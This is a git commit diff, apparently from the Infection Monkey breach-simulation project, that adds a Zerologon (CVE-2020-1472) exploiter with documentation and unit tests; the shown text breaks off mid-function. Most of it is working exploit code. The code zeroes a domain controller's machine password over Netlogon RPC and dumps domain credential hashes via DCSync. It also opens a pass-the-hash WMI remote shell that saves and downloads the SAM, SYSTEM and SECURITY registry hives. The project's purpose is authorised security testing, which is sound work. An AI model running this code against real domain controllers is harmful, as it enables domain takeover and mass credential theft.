forked from p34709852/monkey
Merge pull request #911 from shreyamalviya/zerologon-exploiter
Zerologon Exploiter
This commit is contained in:
commit
bc3283c4a5
3
LICENSE
3
LICENSE
|
@ -5,6 +5,9 @@
|
||||||
Everyone is permitted to copy and distribute verbatim copies
|
Everyone is permitted to copy and distribute verbatim copies
|
||||||
of this license document, but changing it is not allowed.
|
of this license document, but changing it is not allowed.
|
||||||
|
|
||||||
|
This product includes software developed by SecureAuth Corporation
|
||||||
|
(https://www.secureauth.com/).
|
||||||
|
|
||||||
Preamble
|
Preamble
|
||||||
|
|
||||||
The GNU General Public License is a free, copyleft license for
|
The GNU General Public License is a free, copyleft license for
|
||||||
|
|
|
@ -0,0 +1,26 @@
|
||||||
|
---
|
||||||
|
title: "Zerologon"
|
||||||
|
date: 2021-01-31T19:46:12+05:30
|
||||||
|
draft: false
|
||||||
|
tags: ["exploit", "windows"]
|
||||||
|
---
|
||||||
|
|
||||||
|
The Zerologon exploiter exploits [CVE-2020-1472](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1472).
|
||||||
|
|
||||||
|
This exploiter is unsafe.
|
||||||
|
* It will temporarily change the target domain controller's password.
|
||||||
|
* It may break the target domain controller's communication with other systems in the network, affecting functionality.
|
||||||
|
|
||||||
|
It is, therefore, **not** enabled by default.
|
||||||
|
|
||||||
|
|
||||||
|
### Description
|
||||||
|
|
||||||
|
An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC).
|
||||||
|
|
||||||
|
To download the relevant security update and read more, click [here](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472).
|
||||||
|
|
||||||
|
|
||||||
|
### Notes
|
||||||
|
|
||||||
|
* The Infection Monkey exploiter implementation is based on implementations by [@dirkjanm](https://github.com/dirkjanm/CVE-2020-1472/) and [@risksense](https://github.com/risksense/zerologon).
|
|
@ -36,6 +36,11 @@ class HostExploiter(Plugin):
|
||||||
# Usual values are 'vulnerability' or 'brute_force'
|
# Usual values are 'vulnerability' or 'brute_force'
|
||||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||||
|
|
||||||
|
# Determines if successful exploitation should stop further exploit attempts on that machine.
|
||||||
|
# Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent.
|
||||||
|
# Example: Zerologon steals credentials
|
||||||
|
RUNS_AGENT_ON_SUCCESS = True
|
||||||
|
|
||||||
@property
|
@property
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def _EXPLOITED_SERVICE(self):
|
def _EXPLOITED_SERVICE(self):
|
||||||
|
@ -104,4 +109,5 @@ class HostExploiter(Plugin):
|
||||||
:param cmd: String of executed command. e.g. 'echo Example'
|
:param cmd: String of executed command. e.g. 'echo Example'
|
||||||
"""
|
"""
|
||||||
powershell = True if "powershell" in cmd.lower() else False
|
powershell = True if "powershell" in cmd.lower() else False
|
||||||
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
|
self.exploit_info['executed_cmds'].append(
|
||||||
|
{'cmd': cmd, 'powershell': powershell})
|
||||||
|
|
|
@ -0,0 +1,94 @@
|
||||||
|
import pytest
|
||||||
|
|
||||||
|
from infection_monkey.exploit.zerologon import ZerologonExploiter
|
||||||
|
from infection_monkey.model.host import VictimHost
|
||||||
|
|
||||||
|
|
||||||
|
DOMAIN_NAME = "domain-name"
|
||||||
|
IP = "0.0.0.0"
|
||||||
|
NETBIOS_NAME = "NetBIOS Name"
|
||||||
|
|
||||||
|
USERS = ["Administrator", "Bob"]
|
||||||
|
RIDS = ["500", "1024"]
|
||||||
|
LM_HASHES = ["abc123", "098zyx"]
|
||||||
|
NT_HASHES = ["def456", "765vut"]
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
def zerologon_exploiter_object(monkeypatch):
|
||||||
|
def mock_report_login_attempt(**kwargs):
|
||||||
|
return None
|
||||||
|
|
||||||
|
host = VictimHost(IP, DOMAIN_NAME)
|
||||||
|
obj = ZerologonExploiter(host)
|
||||||
|
monkeypatch.setattr(obj, "dc_name", NETBIOS_NAME, raising=False)
|
||||||
|
monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt)
|
||||||
|
return obj
|
||||||
|
|
||||||
|
|
||||||
|
def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object):
|
||||||
|
dummy_exploit_attempt_result = {"ErrorCode": 0}
|
||||||
|
assert zerologon_exploiter_object.assess_exploit_attempt_result(
|
||||||
|
dummy_exploit_attempt_result
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object):
|
||||||
|
dummy_exploit_attempt_result = {"ErrorCode": 1}
|
||||||
|
assert not zerologon_exploiter_object.assess_exploit_attempt_result(
|
||||||
|
dummy_exploit_attempt_result
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object):
|
||||||
|
dummy_restoration_attempt_result = object()
|
||||||
|
assert zerologon_exploiter_object.assess_restoration_attempt_result(
|
||||||
|
dummy_restoration_attempt_result
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_object):
|
||||||
|
dummy_restoration_attempt_result = False
|
||||||
|
assert not zerologon_exploiter_object.assess_restoration_attempt_result(
|
||||||
|
dummy_restoration_attempt_result
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object):
|
||||||
|
mock_dumped_secrets = [
|
||||||
|
f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::"
|
||||||
|
for i in range(len(USERS))
|
||||||
|
]
|
||||||
|
expected_extracted_creds = {
|
||||||
|
USERS[0]: {
|
||||||
|
"RID": int(RIDS[0]),
|
||||||
|
"lm_hash": LM_HASHES[0],
|
||||||
|
"nt_hash": NT_HASHES[0],
|
||||||
|
},
|
||||||
|
USERS[1]: {
|
||||||
|
"RID": int(RIDS[1]),
|
||||||
|
"lm_hash": LM_HASHES[1],
|
||||||
|
"nt_hash": NT_HASHES[1],
|
||||||
|
},
|
||||||
|
}
|
||||||
|
assert (
|
||||||
|
zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets)
|
||||||
|
is None
|
||||||
|
)
|
||||||
|
assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds
|
||||||
|
|
||||||
|
|
||||||
|
def test__extract_user_creds_from_secrets_bad_data(zerologon_exploiter_object):
|
||||||
|
mock_dumped_secrets = [
|
||||||
|
f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::"
|
||||||
|
for i in range(len(USERS))
|
||||||
|
]
|
||||||
|
expected_extracted_creds = {
|
||||||
|
USERS[0]: {"RID": int(RIDS[0]), "lm_hash": "", "nt_hash": ""},
|
||||||
|
USERS[1]: {"RID": int(RIDS[1]), "lm_hash": "", "nt_hash": ""},
|
||||||
|
}
|
||||||
|
assert (
|
||||||
|
zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets)
|
||||||
|
is None
|
||||||
|
)
|
||||||
|
assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds
|
|
@ -0,0 +1,45 @@
|
||||||
|
import pytest
|
||||||
|
from nmb.NetBIOS import NetBIOS
|
||||||
|
|
||||||
|
from infection_monkey.exploit.zerologon_utils.vuln_assessment import \
|
||||||
|
get_dc_details
|
||||||
|
from infection_monkey.model.host import VictimHost
|
||||||
|
|
||||||
|
|
||||||
|
DOMAIN_NAME = "domain-name"
|
||||||
|
IP = "0.0.0.0"
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture
|
||||||
|
def host():
|
||||||
|
return VictimHost(IP, DOMAIN_NAME)
|
||||||
|
|
||||||
|
|
||||||
|
def _get_stub_queryIPForName(netbios_names):
|
||||||
|
def stub_queryIPForName(*args, **kwargs):
|
||||||
|
return netbios_names
|
||||||
|
return stub_queryIPForName
|
||||||
|
|
||||||
|
|
||||||
|
def test_get_dc_details_multiple_netbios_names(host, monkeypatch):
|
||||||
|
NETBIOS_NAMES = ["Name1", "Name2", "Name3"]
|
||||||
|
|
||||||
|
stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES)
|
||||||
|
monkeypatch.setattr(NetBIOS, "queryIPForName", stub_queryIPForName)
|
||||||
|
|
||||||
|
dc_ip, dc_name, dc_handle = get_dc_details(host)
|
||||||
|
assert dc_ip == IP
|
||||||
|
assert dc_name == NETBIOS_NAMES[0]
|
||||||
|
assert dc_handle == f"\\\\{NETBIOS_NAMES[0]}"
|
||||||
|
|
||||||
|
|
||||||
|
def test_get_dc_details_no_netbios_names(host, monkeypatch):
|
||||||
|
NETBIOS_NAMES = []
|
||||||
|
|
||||||
|
stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES)
|
||||||
|
monkeypatch.setattr(NetBIOS, "queryIPForName", stub_queryIPForName)
|
||||||
|
|
||||||
|
dc_ip, dc_name, dc_handle = get_dc_details(host)
|
||||||
|
assert dc_ip == IP
|
||||||
|
assert dc_name == ""
|
||||||
|
assert dc_handle == "\\\\"
|
|
@ -0,0 +1,505 @@
|
||||||
|
"""
|
||||||
|
Zerologon, CVE-2020-1472
|
||||||
|
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
from binascii import unhexlify
|
||||||
|
from typing import Dict, List, Optional, Tuple
|
||||||
|
|
||||||
|
import impacket
|
||||||
|
from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport
|
||||||
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
|
||||||
|
from common.utils.exploit_enum import ExploitType
|
||||||
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
|
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
|
||||||
|
from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump
|
||||||
|
from infection_monkey.exploit.zerologon_utils.vuln_assessment import (
|
||||||
|
get_dc_details, is_exploitable)
|
||||||
|
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||||
|
from infection_monkey.utils.capture_output import StdoutCapture
|
||||||
|
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class ZerologonExploiter(HostExploiter):
|
||||||
|
_TARGET_OS_TYPE = ["windows"]
|
||||||
|
_EXPLOITED_SERVICE = "Netlogon"
|
||||||
|
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||||
|
RUNS_AGENT_ON_SUCCESS = False
|
||||||
|
MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256.
|
||||||
|
ERROR_CODE_ACCESS_DENIED = 0xC0000022
|
||||||
|
|
||||||
|
def __init__(self, host: object):
|
||||||
|
super().__init__(host)
|
||||||
|
self.vulnerable_port = None
|
||||||
|
self.exploit_info["credentials"] = {}
|
||||||
|
self._extracted_creds = {}
|
||||||
|
|
||||||
|
def _exploit_host(self) -> bool:
|
||||||
|
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
|
||||||
|
|
||||||
|
can_exploit, rpc_con = is_exploitable(self)
|
||||||
|
if can_exploit:
|
||||||
|
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||||
|
|
||||||
|
# Start exploiting attempts.
|
||||||
|
LOG.debug("Attempting exploit.")
|
||||||
|
_exploited = self._send_exploit_rpc_login_requests(rpc_con)
|
||||||
|
|
||||||
|
rpc_con.disconnect()
|
||||||
|
|
||||||
|
else:
|
||||||
|
LOG.info(
|
||||||
|
"Exploit not attempted. Target is most likely patched, or an error was encountered."
|
||||||
|
)
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Restore DC's original password.
|
||||||
|
if _exploited:
|
||||||
|
if self.restore_password():
|
||||||
|
self.store_extracted_creds_for_exploitation()
|
||||||
|
LOG.info("System exploited and password restored successfully.")
|
||||||
|
else:
|
||||||
|
LOG.info("System exploited but couldn't restore password!")
|
||||||
|
else:
|
||||||
|
LOG.info("System was not exploited.")
|
||||||
|
|
||||||
|
return _exploited
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def connect_to_dc(dc_ip) -> object:
|
||||||
|
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||||
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||||
|
rpc_con.connect()
|
||||||
|
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||||
|
return rpc_con
|
||||||
|
|
||||||
|
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
|
||||||
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
|
exploit_attempt_result = self.try_exploit_attempt(rpc_con)
|
||||||
|
|
||||||
|
is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result)
|
||||||
|
if is_exploited:
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def try_exploit_attempt(self, rpc_con) -> Optional[object]:
|
||||||
|
try:
|
||||||
|
exploit_attempt_result = self.attempt_exploit(rpc_con)
|
||||||
|
return exploit_attempt_result
|
||||||
|
except nrpc.DCERPCSessionError as e:
|
||||||
|
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||||
|
# Otherwise, the attack is probably not working.
|
||||||
|
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||||
|
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||||
|
except BaseException as e:
|
||||||
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
|
||||||
|
def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object:
|
||||||
|
request = nrpc.NetrServerPasswordSet2()
|
||||||
|
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||||
|
request["PrimaryName"] = self.dc_handle + "\x00"
|
||||||
|
request["ClearNewPassword"] = b"\x00" * 516
|
||||||
|
|
||||||
|
return rpc_con.request(request)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _set_up_request(request: nrpc.NetrServerPasswordSet2, dc_name: str) -> None:
|
||||||
|
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||||
|
authenticator["Credential"] = b"\x00" * 8
|
||||||
|
authenticator["Timestamp"] = b"\x00" * 4
|
||||||
|
|
||||||
|
request["AccountName"] = dc_name + "$\x00"
|
||||||
|
request["ComputerName"] = dc_name + "\x00"
|
||||||
|
request[
|
||||||
|
"SecureChannelType"
|
||||||
|
] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
|
request["Authenticator"] = authenticator
|
||||||
|
|
||||||
|
def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool:
|
||||||
|
if exploit_attempt_result:
|
||||||
|
if exploit_attempt_result["ErrorCode"] == 0:
|
||||||
|
self.report_login_attempt(result=True, user=self.dc_name)
|
||||||
|
_exploited = True
|
||||||
|
LOG.info("Exploit complete!")
|
||||||
|
else:
|
||||||
|
self.report_login_attempt(result=False, user=self.dc_name)
|
||||||
|
_exploited = False
|
||||||
|
LOG.info(
|
||||||
|
f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong."
|
||||||
|
)
|
||||||
|
return _exploited
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def restore_password(self) -> bool:
|
||||||
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
|
try:
|
||||||
|
rpc_con = None
|
||||||
|
|
||||||
|
# DCSync to get usernames and their passwords' hashes.
|
||||||
|
LOG.debug("DCSync; getting usernames and their passwords' hashes.")
|
||||||
|
user_creds = self.get_all_user_creds()
|
||||||
|
if not user_creds:
|
||||||
|
raise Exception(
|
||||||
|
"Couldn't extract any usernames and/or their passwords' hashes."
|
||||||
|
)
|
||||||
|
|
||||||
|
# Use above extracted credentials to get original DC password's hashes.
|
||||||
|
LOG.debug("Getting original DC password's NT hash.")
|
||||||
|
original_pwd_nthash = None
|
||||||
|
for user_details in user_creds:
|
||||||
|
username = user_details[0]
|
||||||
|
user_pwd_hashes = [
|
||||||
|
user_details[1]["lm_hash"],
|
||||||
|
user_details[1]["nt_hash"],
|
||||||
|
]
|
||||||
|
try:
|
||||||
|
original_pwd_nthash = self.get_original_pwd_nthash(
|
||||||
|
username, user_pwd_hashes
|
||||||
|
)
|
||||||
|
if original_pwd_nthash:
|
||||||
|
break
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(
|
||||||
|
f"Credentials didn\'t work. Exception: {str(e)}"
|
||||||
|
)
|
||||||
|
|
||||||
|
if not original_pwd_nthash:
|
||||||
|
raise Exception("Couldn't extract original DC password's NT hash.")
|
||||||
|
|
||||||
|
# Connect to the DC's Netlogon service.
|
||||||
|
try:
|
||||||
|
rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip)
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Start restoration attempts.
|
||||||
|
LOG.debug("Attempting password restoration.")
|
||||||
|
_restored = self._send_restoration_rpc_login_requests(
|
||||||
|
rpc_con, original_pwd_nthash
|
||||||
|
)
|
||||||
|
if not _restored:
|
||||||
|
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||||
|
|
||||||
|
return _restored
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error(e)
|
||||||
|
return False
|
||||||
|
|
||||||
|
finally:
|
||||||
|
if rpc_con:
|
||||||
|
rpc_con.disconnect()
|
||||||
|
|
||||||
|
def get_all_user_creds(self) -> List[Tuple[str, Dict]]:
|
||||||
|
try:
|
||||||
|
options = OptionsForSecretsdump(
|
||||||
|
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
|
target_ip=self.dc_ip,
|
||||||
|
dc_ip=self.dc_ip,
|
||||||
|
)
|
||||||
|
|
||||||
|
dumped_secrets = self.get_dumped_secrets(
|
||||||
|
remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options
|
||||||
|
)
|
||||||
|
|
||||||
|
self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
|
||||||
|
|
||||||
|
creds_to_use_for_getting_original_pwd_hashes = []
|
||||||
|
admin = "Administrator"
|
||||||
|
for user in self._extracted_creds.keys():
|
||||||
|
if user == admin: # most likely to work so try this first
|
||||||
|
creds_to_use_for_getting_original_pwd_hashes.insert(
|
||||||
|
0, (user, self._extracted_creds[user])
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
creds_to_use_for_getting_original_pwd_hashes.append(
|
||||||
|
(user, self._extracted_creds[user])
|
||||||
|
)
|
||||||
|
|
||||||
|
return creds_to_use_for_getting_original_pwd_hashes
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(
|
||||||
|
f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}"
|
||||||
|
)
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def get_dumped_secrets(
|
||||||
|
self,
|
||||||
|
remote_name: str = "",
|
||||||
|
username: str = "",
|
||||||
|
options: Optional[object] = None,
|
||||||
|
) -> List[str]:
|
||||||
|
dumper = DumpSecrets(
|
||||||
|
remote_name=remote_name, username=username, options=options
|
||||||
|
)
|
||||||
|
dumped_secrets = dumper.dump().split("\n")
|
||||||
|
return dumped_secrets
|
||||||
|
|
||||||
|
def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> None:
|
||||||
|
# format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::"
|
||||||
|
re_phrase = r"([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])"
|
||||||
|
|
||||||
|
for line in dumped_secrets:
|
||||||
|
secret = re.fullmatch(pattern=re_phrase, string=line)
|
||||||
|
if secret:
|
||||||
|
parts_of_secret = secret[0].split(":")
|
||||||
|
user = parts_of_secret[0].split("\\")[-1] # we don't want the domain
|
||||||
|
user_RID, lmhash, nthash = parts_of_secret[1:4]
|
||||||
|
|
||||||
|
self._extracted_creds[user] = {
|
||||||
|
"RID": int(user_RID), # relative identifier
|
||||||
|
"lm_hash": lmhash,
|
||||||
|
"nt_hash": nthash,
|
||||||
|
}
|
||||||
|
|
||||||
|
def store_extracted_creds_for_exploitation(self) -> None:
|
||||||
|
for user in self._extracted_creds.keys():
|
||||||
|
self.add_extracted_creds_to_exploit_info(
|
||||||
|
user,
|
||||||
|
self._extracted_creds[user]["lm_hash"],
|
||||||
|
self._extracted_creds[user]["nt_hash"],
|
||||||
|
)
|
||||||
|
self.add_extracted_creds_to_monkey_config(
|
||||||
|
user,
|
||||||
|
self._extracted_creds[user]["lm_hash"],
|
||||||
|
self._extracted_creds[user]["nt_hash"],
|
||||||
|
)
|
||||||
|
|
||||||
|
def add_extracted_creds_to_exploit_info(
|
||||||
|
self, user: str, lmhash: str, nthash: str
|
||||||
|
) -> None:
|
||||||
|
self.exploit_info["credentials"].update(
|
||||||
|
{
|
||||||
|
user: {
|
||||||
|
"username": user,
|
||||||
|
"password": "",
|
||||||
|
"lm_hash": lmhash,
|
||||||
|
"ntlm_hash": nthash,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
# so other exploiters can use these creds
|
||||||
|
def add_extracted_creds_to_monkey_config(
|
||||||
|
self, user: str, lmhash: str, nthash: str
|
||||||
|
) -> None:
|
||||||
|
if user not in self._config.exploit_user_list:
|
||||||
|
self._config.exploit_user_list.append(user)
|
||||||
|
|
||||||
|
if lmhash not in self._config.exploit_lm_hash_list:
|
||||||
|
self._config.exploit_lm_hash_list.append(lmhash)
|
||||||
|
|
||||||
|
if nthash not in self._config.exploit_ntlm_hash_list:
|
||||||
|
self._config.exploit_ntlm_hash_list.append(nthash)
|
||||||
|
|
||||||
|
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str:
|
||||||
|
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
options = OptionsForSecretsdump(
|
||||||
|
dc_ip=self.dc_ip,
|
||||||
|
just_dc=False,
|
||||||
|
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
|
||||||
|
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
|
||||||
|
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
|
||||||
|
)
|
||||||
|
|
||||||
|
dumped_secrets = self.get_dumped_secrets(
|
||||||
|
remote_name="LOCAL", options=options
|
||||||
|
)
|
||||||
|
for secret in dumped_secrets:
|
||||||
|
if (
|
||||||
|
"$MACHINE.ACC: " in secret
|
||||||
|
): # format of secret - "$MACHINE.ACC: lmhash:nthash"
|
||||||
|
nthash = secret.split(":")[2]
|
||||||
|
return nthash
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(
|
||||||
|
f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}"
|
||||||
|
)
|
||||||
|
|
||||||
|
finally:
|
||||||
|
self.remove_locally_saved_HKLM_keys()
|
||||||
|
|
||||||
|
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
|
||||||
|
LOG.info(
|
||||||
|
f'Starting remote shell on victim with credentials:\n'
|
||||||
|
f'user: {username}\n'
|
||||||
|
f'hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : '
|
||||||
|
f'{self._config.hash_sensitive_data(user_pwd_hashes[1])}'
|
||||||
|
)
|
||||||
|
|
||||||
|
wmiexec = Wmiexec(
|
||||||
|
ip=self.dc_ip, username=username, hashes=':'.join(user_pwd_hashes), domain=self.dc_ip
|
||||||
|
)
|
||||||
|
|
||||||
|
remote_shell = wmiexec.get_remote_shell()
|
||||||
|
if remote_shell:
|
||||||
|
with StdoutCapture() as output_captor:
|
||||||
|
try:
|
||||||
|
# Save HKLM keys on victim.
|
||||||
|
remote_shell.onecmd(
|
||||||
|
"reg save HKLM\\SYSTEM system.save && "
|
||||||
|
+ "reg save HKLM\\SAM sam.save && "
|
||||||
|
+ "reg save HKLM\\SECURITY security.save"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
||||||
|
remote_shell.onecmd("get system.save")
|
||||||
|
remote_shell.onecmd("get sam.save")
|
||||||
|
remote_shell.onecmd("get security.save")
|
||||||
|
|
||||||
|
# Delete saved keys on victim.
|
||||||
|
remote_shell.onecmd("del /f system.save sam.save security.save")
|
||||||
|
|
||||||
|
wmiexec.close()
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(f"Exception occured: {str(e)}")
|
||||||
|
|
||||||
|
finally:
|
||||||
|
info = output_captor.get_captured_stdout_output()
|
||||||
|
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise Exception("Could not start remote shell on DC.")
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def remove_locally_saved_HKLM_keys(self) -> None:
|
||||||
|
for name in ["system", "sam", "security"]:
|
||||||
|
path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save")
|
||||||
|
try:
|
||||||
|
os.remove(path)
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(
|
||||||
|
f"Exception occurred while removing file {path} from system: {str(e)}"
|
||||||
|
)
|
||||||
|
|
||||||
|
def _send_restoration_rpc_login_requests(
|
||||||
|
self, rpc_con, original_pwd_nthash
|
||||||
|
) -> bool:
|
||||||
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
|
restoration_attempt_result = self.try_restoration_attempt(
|
||||||
|
rpc_con, original_pwd_nthash
|
||||||
|
)
|
||||||
|
|
||||||
|
is_restored = self.assess_restoration_attempt_result(
|
||||||
|
restoration_attempt_result
|
||||||
|
)
|
||||||
|
if is_restored:
|
||||||
|
return is_restored
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def try_restoration_attempt(
|
||||||
|
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
|
||||||
|
) -> Optional[object]:
|
||||||
|
try:
|
||||||
|
restoration_attempt_result = self.attempt_restoration(
|
||||||
|
rpc_con, original_pwd_nthash
|
||||||
|
)
|
||||||
|
return restoration_attempt_result
|
||||||
|
except nrpc.DCERPCSessionError as e:
|
||||||
|
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||||
|
# Otherwise, the attack is probably not working.
|
||||||
|
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||||
|
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||||
|
except BaseException as e:
|
||||||
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def attempt_restoration(
|
||||||
|
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
|
||||||
|
) -> Optional[object]:
|
||||||
|
plaintext = b"\x00" * 8
|
||||||
|
ciphertext = b"\x00" * 8
|
||||||
|
flags = 0x212FFFFF
|
||||||
|
|
||||||
|
# Send challenge and authentication request.
|
||||||
|
server_challenge_response = nrpc.hNetrServerReqChallenge(
|
||||||
|
rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext
|
||||||
|
)
|
||||||
|
server_challenge = server_challenge_response["ServerChallenge"]
|
||||||
|
|
||||||
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
|
rpc_con,
|
||||||
|
self.dc_handle + "\x00",
|
||||||
|
self.dc_name + "$\x00",
|
||||||
|
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
|
self.dc_name + "\x00",
|
||||||
|
ciphertext,
|
||||||
|
flags,
|
||||||
|
)
|
||||||
|
|
||||||
|
assert server_auth["ErrorCode"] == 0
|
||||||
|
session_key = nrpc.ComputeSessionKeyAES(
|
||||||
|
None,
|
||||||
|
b"\x00" * 8,
|
||||||
|
server_challenge,
|
||||||
|
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"),
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
|
||||||
|
nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
|
||||||
|
|
||||||
|
request = NetrServerPasswordSet()
|
||||||
|
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||||
|
request["PrimaryName"] = NULL
|
||||||
|
pwd_data = impacket.crypto.SamEncryptNTLMHash(
|
||||||
|
unhexlify(original_pwd_nthash), session_key
|
||||||
|
)
|
||||||
|
request["UasNewPassword"] = pwd_data
|
||||||
|
|
||||||
|
rpc_con.request(request)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
|
||||||
|
return rpc_con
|
||||||
|
|
||||||
|
def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool:
|
||||||
|
if restoration_attempt_result:
|
||||||
|
LOG.debug(
|
||||||
|
"DC machine account password should be restored to its original value."
|
